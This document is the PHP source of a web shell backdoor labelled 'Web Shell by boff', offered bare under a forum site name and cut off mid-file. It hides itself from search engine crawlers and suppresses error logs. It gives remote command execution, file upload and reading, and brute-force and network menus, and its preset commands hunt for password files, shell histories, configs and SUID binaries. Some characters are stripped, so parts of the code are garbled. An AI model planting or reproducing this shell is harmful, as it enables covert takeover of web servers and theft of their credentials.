ThaiSEOBoard.com

<?php # Web Shell by boff

$auth_pass = "";

$color = "#df5";

$default_action = 'FilesMan';

$default_use_ajax = true;

$default_charset = 'Windows-1251';



if(!empty($_SERVER['HTTP_USER_AGENT'])) {

    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");

    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {

        header('HTTP/1.0 404 Not Found');

        exit;

    }

}



@session_start();

@ini_set('error_log',NULL);

@ini_set('log_errors',0);

@ini_set('max_execution_time',0);

@set_time_limit(0);

@set_magic_quotes_runtime(0);

@define('BOFF_VERSION', '1.0');



if(get_magic_quotes_gpc()) {

	function BOFFstripslashes($array) {

		return is_array($array) ? array_map('BOFFstripslashes', $array) : stripslashes($array);

	}

	$_POST = BOFFstripslashes($_POST);

}



function BOFFLogin() {

	die("<pre align=center><b>Authorization</b><br>?0ff //3? $|-|311 1.0<br><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");

}



if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))

	if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )

		$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;

	else

		BOFFLogin();



if(strtolower(substr(PHP_OS,0,3)) == "win")

	$os = 'win';

else

	$os = 'nix';



$safe_mode = @ini_get('safe_mode');

if(!$safe_mode)

    error_reporting(0);



$disable_functions = @ini_get('disable_functions');

$home_cwd = @getcwd();

if(isset($_POST['c']))

	@chdir($_POST['c']);

$cwd = @getcwd();

if($os == 'win') {

	$home_cwd = str_replace("", "/", $home_cwd);

	$cwd = str_replace("", "/", $cwd);

}

if( $cwd[strlen($cwd)-1] != '/' )

	$cwd .= '/';



if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))

    $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];

	

if($os == 'win')

	$aliases = array(

		"List Directory" => "dir",

    	"Find index.php in current dir" => "dir /s /w /b index.php",

    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",

    	"Show active connections" => "netstat -an",

    	"Show running services" => "net start",

    	"User accounts" => "net user",

    	"Show computers" => "net view",

		"ARP Table" => "arp -a",

		"IP Configuration" => "ipconfig /all"

	);

else

	$aliases = array(

  		"List dir" => "ls -lha",

		"list file attributes on a Linux second extended file system" => "lsattr -va",

  		"show opened ports" => "netstat -an | grep -i listen",

        "process status" => "ps aux",

		"Find" => "",

  		"find all suid files" => "find / -type f -perm -04000 -ls",

  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",

  		"find all sgid files" => "find / -type f -perm -02000 -ls",

  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",

  		"find config.inc.php files" => "find / -type f -name config.inc.php",

  		"find config* files" => "find / -type f -name "config*"",

  		"find config* files in current dir" => "find . -type f -name "config*"",

  		"find all writable folders and files" => "find / -perm -2 -ls",

  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",

  		"find all service.pwd files" => "find / -type f -name service.pwd",

  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",

  		"find all .htpasswd files" => "find / -type f -name .htpasswd",

  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",

  		"find all .bash_history files" => "find / -type f -name .bash_history",

  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",

  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",

  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",

		"Locate" => "",

  		"locate httpd.conf files" => "locate httpd.conf",

		"locate vhosts.conf files" => "locate vhosts.conf",

		"locate proftpd.conf files" => "locate proftpd.conf",

		"locate psybnc.conf files" => "locate psybnc.conf",

		"locate my.conf files" => "locate my.conf",

		"locate admin.php files" =>"locate admin.php",

		"locate cfg.php files" => "locate cfg.php",

		"locate conf.php files" => "locate conf.php",

		"locate config.dat files" => "locate config.dat",

		"locate config.php files" => "locate config.php",

		"locate config.inc files" => "locate config.inc",

		"locate config.inc.php" => "locate config.inc.php",

		"locate config.default.php files" => "locate config.default.php",

		"locate config* files " => "locate config",

		"locate .conf files"=>"locate '.conf'",

		"locate .pwd files" => "locate '.pwd'",

		"locate .sql files" => "locate '.sql'",

		"locate .htpasswd files" => "locate '.htpasswd'",

		"locate .bash_history files" => "locate '.bash_history'",

		"locate .mysql_history files" => "locate '.mysql_history'",

		"locate .fetchmailrc files" => "locate '.fetchmailrc'",

		"locate backup files" => "locate backup",

		"locate dump files" => "locate dump",

		"locate priv files" => "locate priv"	

	);



function BOFFHeader() {

	if(empty($_POST['charset']))

		$_POST['charset'] = $GLOBALS['default_charset'];

	global $color;

	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - BOFF " . BOFF_VERSION ."</title>

<style>

body{background-color:#000028;color:#e1e1e1;}

body,td,th{ border:1px outset black;font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }

table.info{ border-left:5px solid #df5;color:#fff;background-color:#000028; }

span,h1,a{ color: #df5 !important; }

span{ font-weight: bolder; }

h1{ border-left:7px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#000028;margin:0px; }

div.content{ padding: 7px;margin-left:7px;background-color:#333; }

a{ text-decoration:none; }

a:hover{ text-decoration:underline; }

.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }

.bigarea{ width:100%;height:250px; }

input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }

form{ margin:0px; }

#toolsTbl{ text-align:center; }

.toolsInp{ width: 300px }

.main th{text-align:left;background-color:#003300;}

.main tr:hover{border:2px outset gray;;background-color:#5e5e5e}

.l1{background-color:#444}

.l2{background-color:#333}

pre{font-family:Courier,Monospace;}

</style>

<script>

    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';

    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'

    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';

    var p1_ = '" . ((strpos(@$_POST['p1'],"n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';

    var p2_ = '" . ((strpos(@$_POST['p2'],"n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';

    var p3_ = '" . ((strpos(@$_POST['p3'],"n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';

    var d = document;

	function set(a,c,p1,p2,p3,charset) {

		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;

		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;

		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;

		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;

		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;

		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;

	}

	function g(a,c,p1,p2,p3,charset) {

		set(a,c,p1,p2,p3,charset);

		d.mf.submit();

	}

	function a(a,c,p1,p2,p3,charset) {

		set(a,c,p1,p2,p3,charset);

		var params = 'ajax=true';

		for(i=0;i<d.mf.elements.length;i  )

			params  = '&' d.mf.elements[i].name '=' encodeURIComponent(d.mf.elements[i].value);

		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);

	}

	function sr(url, params) {	

		if (window.XMLHttpRequest)

			req = new XMLHttpRequest();

		else if (window.ActiveXObject)

			req = new ActiveXObject('Microsoft.XMLHTTP');

        if (req) {

            req.onreadystatechange = processReqChange;

            req.open('POST', url, true);

            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');

            req.send(params);

        }

	}

	function processReqChange() {

		if( (req.readyState == 4) )

			if(req.status == 200) {

				var reg = new RegExp("(d )([Ss]*)", 'm');

				var arr=reg.exec(req.responseText);

				eval(arr[2].substr(0, arr[1]));

			} else alert('Request error!');

	}

</script>

<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>

<form method=post name=mf style='display:none;'>

<input type=hidden name=a>

<input type=hidden name=c>

<input type=hidden name=p1>

<input type=hidden name=p2>

<input type=hidden name=p3>

<input type=hidden name=charset>

</form>";

	$freeSpace = @diskfreespace($GLOBALS['cwd']);

	$totalSpace = @disk_total_space($GLOBALS['cwd']);

	$totalSpace = $totalSpace?$totalSpace:1;

	$release = @php_uname('r');

	$kernel = @php_uname('s');

	$explink = 'http://exploit-db.com/list.php?description=';

	if(strpos('Linux', $kernel) !== false)

		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));

	else

		$explink .= urlencode($kernel . ' ' . substr($release,0,3));

	if(!function_exists('posix_getegid')) {

		$user = @get_current_user();

		$uid = @getmyuid();

		$gid = @getmygid();

		$group = "?";

	} else {

		$uid = @posix_getpwuid(posix_geteuid());

		$gid = @posix_getgrgid(posix_getegid());

		$user = $uid['name'];

		$uid = $uid['uid'];

		$group = $gid['name'];

		$gid = $gid['gid'];

	}



	$cwd_links = '';

	$path = explode("/", $GLOBALS['cwd']);

	$n=count($path);

	for($i=0; $i<$n-1; $i  ) {

		$cwd_links .= "<a href='#' onclick='g("FilesMan","";

		for($j=0; $j<=$i; $j  )

			$cwd_links .= $path[$j].'/';

		$cwd_links .= "")'>".$path[$i]."/</a>";

	}



	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');

	$opt_charsets = '';

	foreach($charsets as $item)

		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';



	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');

	if(!empty($GLOBALS['auth_pass']))

		$m['Logout'] = 'Logout';

	$m['Self remove'] = 'SelfRemove';

	$menu = '';

	foreach($m as $k => $v)

		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(''.$v.'',null,'','','')">'.$k.'</a> ]</th>';



	$drives = "";

	if($GLOBALS['os'] == 'win') {

		foreach(range('c','z') as $drive)

		if(is_dir($drive.':'))

			$drives .= '<a href="#" onclick="g('FilesMan',''.$drive.':/')">[ '.$drive.' ]</a> ';

	}

	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'

       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')

       . ' <a href=# onclick="g('Php',null,'','info')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . BOFFViewSize($totalSpace) . ' <span>Free:</span> ' . BOFFViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. BOFFPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g('FilesMan','' . $GLOBALS['home_cwd'] . '','','','')">[ home ]</a><br>' . $drives . '</td>'

       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'

       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';

}



function BOFFFooter() {

	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";

    echo "

</div>

<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>

	<tr>

		<td><form onsubmit='g(null,this.c.value,"");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>

		<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>

	</tr><tr>

		<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>

		<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>

	</tr><tr>

		<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>

		<td><form method='post' ENCTYPE='multipart/form-data'>

		<input type=hidden name=a value='FilesMAn'>

		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>

		<input type=hidden name=p1 value='uploadFile'>

		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>

		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>

	</tr></table></div></body></html>";

}



if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {

    function posix_getpwuid($p) {return false;} }

if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {

    function posix_getgrgid($p) {return false;} }



function BOFFEx($in) {

	$out = '';

	if (function_exists('exec')) {

		@exec($in,$out);

		$out = @join("n",$out);

	} elseif (function_exists('passthru')) {

		ob_start();

		@passthru($in);

		$out = ob_get_clean();

	} elseif (function_exists('system')) {

		ob_start();

		@system($in);

		$out = ob_get_clean();

	} elseif (function_exists('shell_exec')) {

		$out = shell_exec($in);

	} elseif (is_resource($f = @popen($in,"r"))) {

		$out = "";

		while(!@feof($f))

			$out .= fread($f,1024);

		pclose($f);

	}

	return $out;

}

function BOFFViewSize($s) {

	if($s >= 1073741824)

		return sprintf('%1.2f', $s / 1073741824 ). ' GB';

	elseif($s >= 1048576)

		return sprintf('%1.2f', $s / 1048576 ) . ' MB';

	elseif($s >= 1024)

		return sprintf('%1.2f', $s / 1024 ) . ' KB';

	else

		return $s . ' B';

}